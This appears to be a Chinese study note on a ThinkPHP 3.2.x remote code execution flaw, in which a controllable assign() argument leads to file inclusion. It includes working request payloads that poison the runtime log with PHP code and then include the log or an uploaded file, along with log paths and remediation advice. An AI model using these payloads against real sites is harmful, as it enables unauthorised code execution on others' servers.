thinkphp3.2.3 代码执行

漏洞描述:

ThinkPHP3.2远程代码执行漏洞,该漏洞产生原因是由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

漏洞利用条件:

利用条件为assign方法的第一个变量可控->变量覆盖->文件包含

漏洞影响范围:

thinkphp3.2.X

漏洞复现:

  1. 输入php代码:/index.php?a=--><?php%20phpinfo();%20?>返回报错信息:

2.日志文件路径:/Application/Runtime/Logs/Home/22_04_06.log,访问今天的日志文件

若开启debug模式日志路径:\Application\Runtime\Logs\Home\22_04_06.log
若未开启debug模式日志路径:\Application\Runtime\Logs\Common\22_04_06.log

3.构造攻击请求:/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_04_06.log

也可以寻找程序上传入口,上传具有恶意代码的任何文件到服务器上/index.php?m=Home&c=Index&a=index&value[_filename]=./test.php

修复建议:

1.升级到最新的ThinkPHP版本,或者其它不受此漏洞影响的安全版本。

2.不建议直接使用assign方法对模板变量进行赋值。

3.减少使用高危函数如include等,如果必须使用可对函数进行文件内容过滤操作。

4.对所有输入提交可能包含文件地址的内容,包括服务器本地文件及远程文件,进行严格检查,参数中不允许出现./和../等目录跳转符。

5.严格检查文件包含函数中的参数是否被外界可控。

6.严格检查变量是否已经初始化。

学习记录,仅供参考!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值